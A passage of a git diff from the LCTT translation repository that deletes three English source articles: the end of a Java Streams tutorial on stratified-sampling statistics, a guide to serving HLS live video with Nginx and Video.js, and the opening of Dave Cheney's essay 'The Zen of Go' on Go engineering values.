5. whose keys are the key of the incoming stream (that is, the stratum #)… - 6. and whose values are the Map of sample values, and I again use **entrySet().stream()** to convert to a stream of Map entries, one for each sample. - 7. Using **map()** to get the value of the sample **Map** entry; I'm not interested in the key by this point. - 8. Yet again, using **collect()** to accumulate the sample results into the **StratumAccumulator** instances. - 9. Telling **collect()** how to create a new **StratumAccumulator**—I need to pass the stratum area into the constructor here, so I can't just use **StratumAccumulator::new**. - 10. Telling **collect()** to use the **accept()** method of **StratumAccumulator** to accumulate the stream of sample values. - 11. Telling **collect()** to use the **combine()** method of **StratumAccumulator** to merge **StratumAccumulator** instances. - - - -#### Summarize the stratum figures - -Whew! After all of that, printing out the stratum figures is pretty straightforward: - - -``` -stratumValues.entrySet().stream() -    .forEach(e -> { -        StratumAccumulator sa = e.getValue(); -        int n = sa.getN(); -        double se66 = sa.getStandardError(); -        double t = new TDistribution(n - 1).inverseCumulativeProbability(0.975d); -        [System][8].out.printf("stratum %d n %d mean %g se66 %g t %g se95 %g ha %g\n", -            e.getKey(), n, sa.getMean(), se66, t, se66 * t, sa.getHa()); -    }); -``` - -In the above, once again, I use **entrySet().stream()** to transform the **stratumValues** Map to a stream, and then apply the **forEach()** method to the stream. **ForEach()** is pretty much what it sounds like—a loop! But the business of finding the head of the stream, finding the next element, and checking to see if hits the end is all handled by Java Streams. So, I just get to say what I want to do for each record, which is basically to print it out. - -My code looks a bit more complicated because I declare some local variables to hold some intermediate results that I use more than once—**n**, the number of samples, and **se66**, the standard error of the mean. I also calculate the inverse T value to [convert my standard error of the mean to a 95% confidence interval][15]. - -The result looks like this: - - -``` -stratum 1 n 24 mean 0.0903355 se66 0.0107786 t 2.06866 se95 0.0222973 ha 114.890 -stratum 2 n 38 mean 0.154612 se66 0.00880498 t 2.02619 se95 0.0178406 ha 207.720 -stratum 3 n 11 mean 0.223634 se66 0.0261662 t 2.22814 se95 0.0583020 ha 29.7700 -``` - -#### Accumulate the stratum means and standard errors into the total - -Once again, the task becomes more complex, so I create a class, **TotalAccumulator**, to handle the accumulation and provide the calculation of the interesting results. This class implements **java.util.function.Consumer<T>**, which can be passed to **collect()** to handle accumulation: - - -``` -class TotalAccumulator implements Consumer<StratumAccumulator> { -    private double ha; -    private int n; -    private double sumWtdMeans; -    private double ssqWtdStandardErrors; -    public TotalAccumulator() { -        this.ha = 0d; -        this.n = 0; -        this.sumWtdMeans = 0d; -        this.ssqWtdStandardErrors = 0d; -    } -    public void accept(StratumAccumulator sa) { -        double saha = sa.getHa(); -        double sase = sa.getStandardError(); -        this.ha += saha; -        this.n += sa.getN(); -        this.sumWtdMeans += saha * sa.getMean(); -        this.ssqWtdStandardErrors += saha * saha * sase * sase; -    } -    public void combine(TotalAccumulator other) { -        this.ha += other.ha; -        this.n += other.n; -        this.sumWtdMeans += other.sumWtdMeans; -        this.ssqWtdStandardErrors += other.ssqWtdStandardErrors; -    } -    public double getHa() { -        return this.ha; -    } -    public int getN() { -        return this.n; -    } -    public double getMean() { -        return this.ha > 0 ? this.sumWtdMeans / this.ha : 0d; -    } -    public double getStandardError() { -        return this.ha > 0 ? [Math][11].sqrt(this.ssqWtdStandardErrors) / this.ha : 0; -    } -} -``` - -I'm not going to go into much detail on this, since it's structurally pretty similar to **StratumAccumulator**. Of main interest: - - 1. The constructor takes no arguments, which simplifies its use. - 2. The **accept()** method accumulates instances of **StratumAccumulator**, not **double** values, hence the use of the **Consumer<T>** interface. - 3. As for the calculations, they are assembling a weighted average of the **StratumAccumulator** instances, so they make use of the stratum areas, and the formulas might look a bit strange to anyone who's not used to stratified sampling. - - - -As for actually carrying out the work, it's easy-peasy: - - -``` -final TotalAccumulator totalValues = -    stratumValues.entrySet().stream() -        .map([Map.Entry][14]::getValue) -        .collect(TotalAccumulator::new, TotalAccumulator::accept, TotalAccumulator::combine); -``` - -Same old stuff as before: - - 1. Use **entrySet().stream()** to convert the **stratumValue Map** entries to a stream. - 2. Use **map()** to replace the **Map** entries with their values—the instances of **StratumAccumulator**. - 3. Use **collect()** to apply the **TotalAccumulator** to the instances of **StratumAccumulator**. - - - -#### Summarize the total figures - -Getting the interesting bits out of the **TotalAccumulator** instance is also pretty straightforward: - - -``` -int nT = totalValues.getN(); -double se66T = totalValues.getStandardError(); -double tT = new TDistribution(nT - stratumValues.size()).inverseCumulativeProbability(0.975d); -[System][8].out.printf("total n %d mean %g se66 %g t %g se95 %g ha %g\n", -    nT, totalValues.getMean(), se66T, tT, se66T * tT, totalValues.getHa()); -``` - -Similar to the **StratumAccumulator**, I just call the relevant getters to pick out the number of samples **nT** and the standard error **se66T**. I calculate the T value **tT** (using "n – 3" here since there are three strata), and then I print the result, which looks like this: - - -``` -`total n 73 mean 0.139487 se66 0.00664653 t 1.99444 se95 0.0132561 ha 352.380` -``` - -### In conclusion - -Wow, that looks like a bit of a marathon. It feels like it, too. As is often the case, there is a great deal of information about how to use Java Streams, all illustrated with toy examples, which kind of help, but not really. I found that getting this to work with a real-world (albeit very simple) example was difficult. - -Because I've been working in [Groovy][16] a lot lately, I kept finding myself wanting to accumulate into "maps of maps of maps" rather than creating accumulator classes, but I was never able to pull that off except in the case of totaling up the measurements in the sample. So, I worked with accumulator classes instead of maps of maps, and maps of accumulator classes instead of maps of maps of maps. - -I don't feel like any kind of master of Java Streams at this point, but I do feel I have a pretty solid understanding of **collect()**, which is deeply important, along with various methods to reformat data structures into streams and to reformat stream elements themselves. So yeah, more to learn! - -Speaking of collect(), in the examples I presented above, we can see moving from a very simple use of this fundamental method - using the Collectors.summingDouble() accumulation method - through defining an accumulator class that extends one of the pre-defined interfaces - in this case DoubleConsumer - to defining a full-blown accumulator of our own, used to accumulate the intermediate stratum class. I was tempted - sort of - to work backward and implement fully custom accumulators for the stratum and sample accumulators, but the point of this exercise was to learn more about Java Streams, not to become an expert in one single part of it all. - -What's your experience with Java Streams? Done anything big and complicated yet? Please share it in the comments. - -Optimizing your Java code requires an understanding of how the different elements in Java interact... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/java-streams - -作者:[Chris Hermansen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clhermansen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hat drink at the computer) -[2]: https://docs.oracle.com/javase/8/docs/api/java/util/stream/package-summary.html -[3]: https://opensource.com/sites/default/files/uploads/landcover.png (Image of land cover in an area) -[4]: https://opensource.com/sites/default/files/uploads/foresters.jpg (Survey team assessing land cover) -[5]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+string -[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+integer -[7]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+double -[8]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system -[9]: https://www.baeldung.com/java-8-collectors -[10]: https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html -[11]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+math -[12]: https://www.baeldung.com/java-groupingby-collector -[13]: http://www.java2s.com/Tutorials/Java/java.util.stream/Collectors/Collectors.summingDouble_ToDoubleFunction_super_T_mapper_.htm -[14]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+map.entry -[15]: https://en.wikipedia.org/wiki/Standard_error -[16]: http://groovy-lang.org/ diff --git a/sources/tech/20200221 Live video streaming with open source Video.js.md b/sources/tech/20200221 Live video streaming with open source Video.js.md deleted file mode 100644 index 178466a443..0000000000 --- a/sources/tech/20200221 Live video streaming with open source Video.js.md +++ /dev/null @@ -1,171 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Live video streaming with open source Video.js) -[#]: via: (https://opensource.com/article/20/2/video-streaming-tools) -[#]: author: (Aaron J. Prisk https://opensource.com/users/ricepriskytreat) - -Live video streaming with open source Video.js -====== -Video.js is a widely used protocol that will serve your live video -stream to a wide range of devices. -![video editing dashboard][1] - -Last year, I wrote about [creating a video streaming server with Linux][2]. That project uses the Real-Time Messaging Protocol (RMTP), Nginx web server, Open Broadcast Studio (OBS), and VLC media player. - -I used VLC to play our video stream, which may be fine for a small local deployment but isn't very practical on a large scale. First, your viewers have to use VLC, and RTMP streams can provide inconsistent playback. This is where [Video.js][3] comes into play! Video.js is an open source JavaScript framework for creating custom HTML5 video players. Video.js is incredibly powerful, and it's used by a host of very popular websites—largely due to its open nature and how easy it is to get up and running. - -### Get started with Video.js - -This project is based off of the video streaming project I wrote about last year. Since that project was set to serve RMTP streams, to use Video.js, you'll need to make some adjustments to that Nginx configuration. HTTP Live Streaming ([HLS][4]) is a widely used protocol developed by Apple that will serve your stream better to a multitude of devices. HLS will take your stream, break it into chunks, and serve it via a specialized playlist. This allows for a more fault-tolerant stream that can play on more devices. - -First, create a directory that will house the HLS stream and give Nginx permission to write to it: - - -``` -mkdir /mnt/hls -chown www:www /mnt/hls -``` - -Next, fire up your text editor, open the Nginx.conf file, and add the following under the **application live** section: - - -``` -       application live { -            live on; -            # Turn on HLS -            hls on; -            hls_path /mnt/hls/; -            hls_fragment 3; -            hls_playlist_length 60; -            # disable consuming the stream from nginx as rtmp -            deny play all; -} -``` - -Take note of the HLS fragment and playlist length settings. You may want to adjust them later, depending on your streaming needs, but this is a good baseline to start with. Next, we need to ensure that Nginx is able to listen for requests from our player and understand how to present it to the user. So, we'll want to add a new section at the bottom of our nginx.conf file. - - -``` -server { -        listen 8080; - -        location / { -            # Disable cache -            add_header 'Cache-Control' 'no-cache'; - -            # CORS setup -            add_header 'Access-Control-Allow-Origin' '*' always; -            add_header 'Access-Control-Expose-Headers' 'Content-Length'; - -            # allow CORS preflight requests -            if ($request_method = 'OPTIONS') { -                add_header 'Access-Control-Allow-Origin' '*'; -                add_header 'Access-Control-Max-Age' 1728000; -                add_header 'Content-Type' 'text/plain charset=UTF-8'; -                add_header 'Content-Length' 0; -                return 204; -            } - -            types { -                application/dash+xml mpd; -                application/vnd.apple.mpegurl m3u8; -                video/mp2t ts; -            } - -            root /mnt/; -        } -    } -``` - -Visit Video.js's [Getting started][5] page to download the latest release and check out the release notes. Also on that page, Video.js has a great introductory template you can use to create a very basic web player. I'll break down the important bits of that template and insert the pieces you need to get your new HTML player to use your stream. - -The **head** links in the Video.js library from a content-delivery network (CDN). You can also opt to download and store Video.js locally on your web server if you want. - - -``` -<head> -  <link href="" rel="stylesheet" /> - -  <!-- If you'd like to support IE8 (for Video.js versions prior to v7) --> -  <script src="[https://vjs.zencdn.net/ie8/1.1.2/videojs-ie8.min.js"\>\][6]</script> -</head> -``` - -Now to the real meat of the player. The **body** section sets the parameters of how the video player will be displayed. Within the **video** element, you need to define the properties of your player. How big do you want it to be? Do you want it to have a poster (i.e., a thumbnail)? Does it need any special player controls? This example defines a simple 600x600 pixel player with an appropriate (to me) thumbnail featuring Beastie (the BSD Demon) and Tux (the Linux penguin). - - -``` -<body> -  <video -    id="my-video" -    class="video-js" -    controls -    preload="auto" -    width="600" -    height="600" -    poster="BEASTIE-TUX.jpg" -    data-setup="{}" -  > -``` - -Now that you've set how you want your player to look, you need to tell it what to play. Video.js can handle a large number of different formats, including HLS streams. - - -``` -    <source src="" type="application/x-mpegURL" /> -    <p class="vjs-no-js"> -      To view this video please enable JavaScript, and consider upgrading to a -      web browser that -      <a href="" target="_blank" -        >supports HTML5 video</a -      > -    </p> -  </video> -``` - -### Record your streams - -Keeping a copy of your streams is super easy. Just add the following at the bottom of your **application live** section in the nginx.conf file: - - -``` -# Enable stream recording -record all; -record_path /mnt/recordings/; -record_unique on; -``` - -Make sure that **record_path** exists and that Nginx has permissions to write to it: - - -``` -`chown -R www:www /mnt/recordings` -``` - -### Down the stream - -That's it! You should now have a spiffy new HTML5-friendly live video player. There are lots of great resources out there on how to expand all your video-making adventures. If you have any questions or suggestions, feel free to reach out to me on [Twitter][7] or leave a comment below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/video-streaming-tools - -作者:[Aaron J. Prisk][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ricepriskytreat -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/video_editing_folder_music_wave_play.png?itok=-J9rs-My (video editing dashboard) -[2]: https://opensource.com/article/19/1/basic-live-video-streaming-server -[3]: https://videojs.com/ -[4]: https://en.wikipedia.org/wiki/HTTP_Live_Streaming -[5]: https://videojs.com/getting-started -[6]: https://vjs.zencdn.net/ie8/1.1.2/videojs-ie8.min.js"\>\ -[7]: https://twitter.com/AKernelPanic diff --git a/sources/tech/20200223 The Zen of Go.md b/sources/tech/20200223 The Zen of Go.md deleted file mode 100644 index c4143aed32..0000000000 --- a/sources/tech/20200223 The Zen of Go.md +++ /dev/null @@ -1,414 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The Zen of Go) -[#]: via: (https://dave.cheney.net/2020/02/23/the-zen-of-go) -[#]: author: (Dave Cheney https://dave.cheney.net/author/davecheney) - -The Zen of Go -====== - -_This article was derived from my [GopherCon Israel 2020][1] presentation. It’s also quite long. If you’d prefer a shorter version, head over to [the-zen-of-go.netlify.com][2]_. - -_A recording of the presentation is available on [YouTube][3]._ - -* * * - -### How should I write good code? - -Something that I’ve been thinking about a lot recently, when reflecting on the body of my own work, is a common subtitle, _how should I write good code?_ Given nobody actively seeks to write _bad_ code, this leads to the question; _how do you know when you’ve written good Go code?_ - -If there’s a continuum between good and bad, how to do we know what the good parts are? What are its properties, its attributes, its hallmarks, its patterns, and its idioms? - -### Idiomatic Go - -![][4] - -Which brings me to idiomatic Go. To say that something is idiomatic is to say that it follows the style of the time. If something is not idiomatic, it is not following the prevailing style. It is unfashionable. - -More importantly, to say to someone that their code is not idiomatic does not explain _why_ it’s not idiomatic. Why is this? Like all truths, the answer is found in the dictionary. - -> idiom (noun): a group of words established by usage as having a meaning not deducible from those of the individual words. - -Idioms are hallmarks of shared values. Idiomatic Go is not something you learn from a book, it’s something that you acquire by being part of a community. - -![][5] - -My concern with the mantra of idiomatic Go is, in many ways, it can be exclusionary. It’s saying “you can’t sit with us.” After all, isn’t that what we mean when critique of someone’s work as non-idiomatic? They didn’t do It right. It doesn’t look right. It doesn’t follow the style of time. - -I offer that idiomatic Go is not a suitable mechanism for teaching how to write good Go code because it is defined, fundamentally, by telling someone they did it wrong. Wouldn’t it be better if the advice we gave didn’t alienate the author right at the point they were most willing to accept it? - -### Proverbs - -Stepping away problematic idioms, what other cultural artefacts do Gophers have? Perhaps we can turn to Rob Pike’s wonderful [Go Proverbs][6]. Are these suitable teaching tools? Will these tell newcomers how to write good Go code? - -In general, I don’t think so. This is not to dismiss Pike’s work, it is just that the Go Proverbs, like Segoe Kensaku’s original, are observations, not statements of value. Again, the dictionary comes to the rescue: - -> proverb (noun): a short, well-known pithy saying, stating a general truth or piece of advice. - -The goal of the Go Proverbs are to reveal a deeper truth about the design of the language, but how useful is advice like the _empty interface says nothing_ to a novice from a language that doesn’t have structural typing? - -It’s important to recognise that, in a growing community, at any time the people learning Go far outnumber those who claim to have mastered the language. Thus proverbs are perhaps not the best teaching tool in this scenario. - -### Engineering Values - -Dan Luu found [an old presentation][7] by Mark Lucovsky about the engineering culture of the windows team around the windows NT-windows 2000 timeframe. The reason I mention it is Lukovsky’s description of a culture as a common way of evaluating designs and making tradeoffs. - -![][8] - -There are many ways of discussing culture, but with respect to an engineering culture Lucovsky’s description is apt. The central idea is _values guide decisions in an unknown design space_. The values of the NT team were; portability, reliability, security, and extensibility. Engineering values are, crudely translated, the way things are done around here. - -### Go’s values - -What are the explicit values of Go? What are the core beliefs or philosophy that define the way a Go programmer interprets the world? How are they promulgated? How are they taught? How are they enforced? How do they change over time? - -How will you, as a newly minted Go programmer, inculcate the engineering values of Go? Or, how will you, a seasoned Go professional promulgate your values to a future generations? And just so we’re clear, this process of knowledge transfer is not optional. Without new blood and new ideas, our community become myopic and wither. - -#### The values of other languages - -To set the scene for what I’m getting at we can look to other languages we see examples of their engineering values. - -For example, C++ (and by extension Rust) believe that a programmer _should not have to pay for a feature they do not use_. If a program does not use some computationally expensive feature of the language, then it shouldn’t be forced to shoulder the cost of that feature. This value extends from the language, to its standard library, and is used as a yardstick for judging the design of all code written in C++. - -In Java, and Ruby, and Smalltalk, the core value that _everything is an object_ drives the design of programs around message passing, information hiding, and polymorphism. Designs that shoehorn a procedural style, or even a functional style, into these languages are considered to be wrong–or as Gophers would say, non idiomatic. - -Turning to our own community, what are the engineering values that bind Go programmers? Discourse in our community is often fractious, so deriving a set of values from first principles would be a formidable challenge. Consensus is critical, but exponentially more difficult as the number of contributors to the discussion increases. But what if someone had done the hard work for us. - -### The Zen of ~~Python~~ Go - -Several decades ago Tim Peters sat down and penned _[PEP-20][9]_, the Zen of Python. Peters’ attempted to document the engineering values that he saw Guido van Rossum apply in his role as BDFL for Python. - -For the remainder of this article, I’m going to look towards the Zen of Python and ask, is there anything that can inform the engineering values of Go programmers? - -### A good package starts with a good name - -Let’s start with something spicy, - -> “Namespaces are one honking great idea–let’s do more of those!” - -The Zen of Python, Item 19 - -This is pretty unequivocal, Python programmers should use namespaces. Lots of them. - -In Go parlance a namespace is a package. I doubt there is any question that grouping things into packages is good for design and potentially reuse. But there might be some confusion, especially if you’re coming with a decade of experience in another language, about the right way to do this. - -In Go each package should have a purpose, and the best way to know a package’s purpose is by its name—a noun. A package’s name describes what it provides. So too reinterpret Peters’ words, every Go package should have a single purpose. - -This is not a new idea, [I’ve been saying this a while][10], but why should you do this rather than approach where packages are used for fine grained taxonomy? Why, because change. - -> “Design is the art of arranging code to work today, and be changeable forever.” - -Sandi Metz - -Change is the name of the game we’re in. What we do as programmers is manage change. When we do that well we call it design, or architecture. When we do it badly we call it technical debt, or legacy code. - -If you are writing a program that works perfectly, one time, for one fixed set of inputs then nobody cares if the code is good or bad because ultimately the output of the program is all the business cares about. - -But this is _never_ true. Software has bugs, requirements change, inputs change, and very few programs are written solely to be executed once, thus your program _will_ change over time. Maybe it’s you who’ll be tasked with this, more likely it will be someone else, but someone has to change that code. Someone has to maintain that code. - -So, how can we make it easy to for programs to change? Interfaces everywhere? Make everything mockable? Pernicious dependency injection? Well, maybe, for some classes of programs, but not many, those techniques will be useful. However, for the majority of programs, designing something to be flexible up front is over engineering. - -What if, instead, we take a position that rather than enhancing components, we replace them. Then the best way to know when something needs to be replaced, is when it doesn’t do what it says on the tin. - -A good package starts with choosing a good name. Think of your package’s name as an elevator pitch, using just one word, to describe what it provides. When the name no longer matches the requirement, find a replacement. - -### Simplicity matters - -> “Simple is better than complex.” - -The Zen of Python, Item 3 - -PEP-20 says simple is better than complex, I couldn’t agree more. A couple of years ago I made this tweet; - -> Most programming languages start out aiming to be simple, but end up just settling for being powerful. -> -> — Dave Cheney (@davecheney) [December 2, 2014][11] - -My observation, at least at the time, was that I couldn’t think of a language introduced in my life time that didn’t purport to be simple. Each new language offered as a justification, and an enticement, their inherent simplicity. But as I researched, I found that simplicity was not a core value of the many of the languages considered Go’s contemporaries. [1][12] Maybe this is just a cheap shot, but could it be that either these languages aren’t simple, or they don’t _think_ of themselves as being simple. They don’t consider simplicity to be a core value. - -Call me old fashioned, but when did being simple fall out of style? Why does the commercial software development industry continually, gleefully, forget this fundamental truth? - -> “There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult.” - -C. A. R. Hoare, The Emperor’s Old Clothes, 1980 Turing Award Lecture - -Simple does not mean easy, we know that. Often it is more work to make something simple to use, than easy to build. - -> “Simplicity is prerequisite for reliability.” - -Edsger W Dijkstra, EWD498, 18 June 1975 - -Why should we strive for simplicity? Why is important that Go programs be simple? Simple doesn’t mean crude, it means readable and maintainable. Simple doesn’t mean unsophisticated, it means reliable, relatable, and understandable. - -> “Controlling complexity is the essence of computer programming.” - -Brian W. Kernighan, _Software Tools_ (1976) - -Whether Python abides by its mantra of simplicity is a matter for debate, but Go holds simplicity as a core value. I think that we can all agree that when it comes to Go, simple code is preferable to clever code. - -### Avoid package level state - -> “Explicit is better than implicit.” - -_The Zen of Python, Item_ 2 - -This is a place where I think Peters’ was more aspirational than factual. Many things in Python are not explicit; decorators, dunder methods, and so on. Without doubt they are powerful, there’s a reason those features exists. Each feature is something someone cared enough about to do the work to implement it, especially the complicated ones. But heavy use of those features makes is harder for the reader to predict the cost of an operation. - -The good news is we have a choice, as Go programmers, to choose to make our code explicit. Explicit could mean many things, perhaps you may be thinking explicit is just a nice way of saying bureaucratic and long winded, but that’s a superficial interpretation. It’s a misnomer to focus only on the syntax on the page, to fret about line lengths and DRYing up expressions. The more valuable, in my opinon, place to be explicit are to do with coupling and with state. - -Coupling is a measure of the amount one thing depends on another. If two things are tightly coupled, they move together. An action that affects one is directly reflected in another. Imagine a train, each carriage joined–ironically the correct word is coupled–together; where the engine goes, the carriages follow. - -Another way to describe coupling is the word cohesion. Cohesion measures how well two things naturally belong together. We talk about a cohesive argument, or a cohesive team; all their parts fit together as if they were designed that way. - -Why does coupling matter? Because just like trains, when you need to change a piece of code, all the code that is tightly coupled to it must change. A prime example, someone release a new version of their API and now your code doesn’t compile. - -APIs are an unavoidable source of coupling but there are more insidious forms of coupling. Clearly everyone knows that if an API’s signature changes the data passing into and out of that call changes. It’s right there in the signature of the function; I take values of these types and return values of other types. But what if the API passed data another way? What if every time you called this API the result was based on the previous time you called that API even though you didn’t change your parameters. - -This is state, and management of state is _the_ problem in computer science. - -``` -package counter - -var count int - -func Increment(n int) int { - count += n - return count -} -``` - -Suppose we have this simple `counter` package. You can call `Increment` to increment the counter, you can even get the value back if you `Increment` with a value of zero. - -Suppose you had to test this code, how would you reset the counter after each test? Suppose you wanted to run those tests in parallel, could you do it? Now suppose that you wanted to count more than one thing per program, could you do it? - -No, of course not. Clearly the answer is to encapsulate the `count` variable in a type. - -``` -package counter - -type Counter struct { - count int -} - -func (c *Counter) Increment(n int) int { - c.count += n - return c.count -} -``` - -Now imagine that this problem isn’t restricted to just counters, but your applications main business logic. Can you test it in isolation? Can you test it in parallel? Can you use more than one instance at a time? If the answer those question is _no_, the reason is package level state. - -Avoid package level state. Reduce coupling and spooky action at a distance by providing the dependencies a type needs as fields on that type rather than using package variables. - -### Plan for failure, not success - -> “Errors should never pass silently.” - -_The Zen of Python, Item 1_0 - -It’s been said of languages that favour exception handling follow the Samurai principle; _return victorious or not at all_. In exception based languages functions only return valid results. If they don’t succeed then control flow takes an entirely different path. - -Unchecked exceptions are clearly an unsafe model to program in. How can you possibly write code that is robust in the presence of errors when you don’t know which statements could throw an exception? Java tried to make exceptions safer by introducing the notion of a checked exception which, to the best of my knowledge, has not been repeated in another mainstream language. There are plenty of languages which use exceptions but they all, with the singular exception of Java, do so in the unchecked variety. - -Obviously Go chose a different path. Go programmers believe that robust programs are composed from pieces that handle the failure cases _before_ they handle the happy path. In the space that Go was designed for; server programs, multi threaded programs, programs that handle input over the network, dealing with unexpected data, timeouts, connection failures and corrupted data must be front and centre of the programmer’s mind if they are to produce robust programs. - -> “I think that error handling should be explicit, this should be a core value of the language.” - -Peter Bourgon, [GoTime #91][13] - -I want to echo Peter’s assertion, as it was the impetus for this article. I think so much of the success of Go is due to the explicit way errors are handled. Go programmers thinks about the failure case first. We solve the “what if…​” case first. This leads to programs where failures are handled at the point of writing, rather than the point they occur in production. - -The verbosity of - -``` -if err != nil { - return err -} -``` - -is outweighed by the value of deliberately handling each failure condition at the point at which they occur. Key to this is the cultural value of handling each and every error explicitly. - -### Return early rather than nesting deeply - -> “Flat is better than nested.” - -The Zen of Python, Item 5 - -This is sage advice coming from a language where indentation is the primary form of control flow. How can we interpret this advice in terms of Go? `gofmt` controls the overall whitespace of a Go program so there’s not thing doing there. - -I wrote earlier about package names, and there is probably some advice here about avoiding a complicated package hierarchy. In my experience the more a programmer tries to subdivide and taxonimise their Go codebase the more they risk hitting the dead end that is package import loops. - -I think the best application of item 5’s advice is the control flow _within_ a function. Simply put, avoid control flow that requires deep indentation. - -> “Line of sight is a straight line along which an observer has unobstructed vision.” - -May Ryer, [Code: Align the happy path to the left edge][14] - -Mat Ryer describes this idea as line of sight coding. Light of sight coding means things like: - - * Using guard clauses to return early if a precondition is not met. - * Placing the successful return statement at the end of the function rather than inside a conditional block. - * Reducing the overall indentation level of the function by extracting functions and methods. - - - -Key to this advice is the thing that you care about, the thing that the function does, is never in danger of sliding out of sight to the right of your screen. This style has a bonus side effect that you’ll avoid pointless arguments about line lengths on your team. - -Every time you indent you add another precondition to the programmers stack, consuming one of their 7 ±2 short term memory slots. Rather than nesting deeply, keep the successful path of the function close to the left hand side of your screen. - -### If you think it’s slow, prove it with a benchmark - -> “In the face of ambiguity, refuse the temptation to guess.” - -The Zen of Python, Item 12 - -Programming is based on mathematics and logic, two concepts which rarely involve the element of chance. But there are many things we, as programmers, guess about every day. What does this variable do? What does this parameter do? What happens if I pass `nil` here? What happens if I call `Register` twice? There’s actually a lot of guesswork in modern programming, especially when it comes to using libraries you didn’t write. - -> “APIs should be easy to use and hard to misuse.” - -Josh Bloch - -One of the best ways I know to help a programmer avoid having to guess is to, when building an API, [focus on the default use case][15]. Make it as easy as you can for the caller to do the most common thing. However, I’ve written and talked a lot about API design in the past, so instead my interpretation of item 12 is; _don’t guess about performance_. - -Despite how you may feel about Knuth’s advice, one of the drivers of Go’s success is its efficient execution. You can write efficient programs in Go and thus people _will_ choose Go because of this. There are a lot of misconceptions about performance, so my request is, when you’re looking to performance tune your code or you’re facing some dogmatic advice like defer is slow, CGO is expensive, or always use atomics not mutexes, don’t guess. - -Don’t complicate your code because of outdated dogma, and, if you think something is slow, first prove it with a benchmark. Go has excellent benchmarking and profiling tools that come in the distribution for free. Use them to find your bottlenecks. - -### Before you launch a goroutine, know when it will stop - -At this point I think I think I’ve mined the valuable points from PEP-20 and possibly stretched its reinterpretation beyond the point of good taste. I think that’s fine, because although this was a useful rhetorical device, ultimately we are talking about two different languages. - -> “You type g o, a space, and then a function call. Three keystrokes, you can’t make it much shorter than that. Three keystrokes and you’ve just started a sub process.” - -Rob Pike, [Simplicity is Complicated][16], dotGo 2015 - -The next two suggestions I’ll dedicate to goroutines. Goroutines are the signature feature of the language, our answer for first class concurrency. They are so easy to use, just put the word `go` in front of the statement and you’ve launched that function asynchronously. It’s so simple, no threads, no stack sizes, no thread pool executors, no ID’s, no tracking completion status. - -Goroutines are cheap. Because of the runtime’s ability to multiplex goroutines onto a small pool of threads (which you don’t have to manage), hundreds of thousands, millions of goroutines are easily accommodated. This opens up designs that would be not be practical under competing concurrency models like threads or evented callbacks. - -But as cheap as goroutines are, they’re not free. At a minimum there’s a few kilobytes for their stack, which, when you’re getting up into the 10^6 goroutines, does start to add up. This is not to say you shouldn’t use millions of goroutines if that is what the design calls for, but when you do, it’s critical that you keep track of them because 10^6 of anything can consume a non trivial amount of resources in aggregate. - -Goroutines are the key to resource ownership in Go. To be useful a goroutine has to do something, and that means it almost always holds reference to, or ownership of, a resource; a lock, a network connection, a buffer with data, the sending end of a channel. While that goroutine is alive, the lock is held, the network connection remains open, the buffer retained and the receivers of the channel will continue to wait for more data. - -The simplest way to free those resources is to tie them to the lifetime of the goroutine–when the goroutine exits, the resource has been freed. So while it’s near trivial to start a goroutine, before you write those three letters, g o and a space, make sure you have an answer to these questions: - - * **Under what condition will a goroutine stop?** Go doesn’t have a way to tell a goroutine to exit. There is no stop or kill function, for good reason. If we cannot command a goroutine to stop, we must instead ask it, politely. Almost always this comes down to a channel operation. Range loops over a channel exit when the channel is closed. A channel will become selectable if it is closed. The signal from one goroutine to another is best expressed as a closed channel. - * **What is required for that condition to arise?** If channels are both the vehicle to communicate between goroutines and the mechanism for them to signal completion, the next question to the programmer becomes, who will close the channel, when will that happen? - * **What signal will you use to know the goroutine has stopped?** When you signal a goroutine to stop, that stopping will happen at some time in the future relative to the goroutine’s frame of reference. It might happen quickly in terms of human perception, but computers execute billions of instructions every second, and from the point of view of each goroutine, their execution of instructions is unsynchronised. The solution is often to use a channel to signal back or a waitgroup where a fan in approach is needed. - - - -### Leave concurrency to the caller - -It is likely that in any serious Go program you write there will be concurrency involved. This raises the problem, many of the libraries and code that we write fall into this a one goroutine per connection, or worker pattern. How will you manage the lifetime of those goroutines? - -`net/http` is a prime example. Shutting down the server owning the listening socket is relatively straight forward, but what about a goroutines spawned from that accepting socket? `net/http` does provide a context object inside the request object which can be used to signal–to code that is listening–that the request should be canceled, thereby terminating the goroutine, however it is less clear how to know when all of these things have been done. It’s one thing to call `context.Cancel`, its another to know that the cancellation has completed.[2][17] - -The point I want to make about `net/http` is that its a counter example to good practice. Because each connection is handled by a goroutine spawned inside the `net/http.Server` type, the program, living outside the `net/http` package, does not have an ability to control the goroutines spawned for the accepting socket. - -This is an area of design that is still evolving, with efforts like go-kit’s `run.Group` and the Go team’s 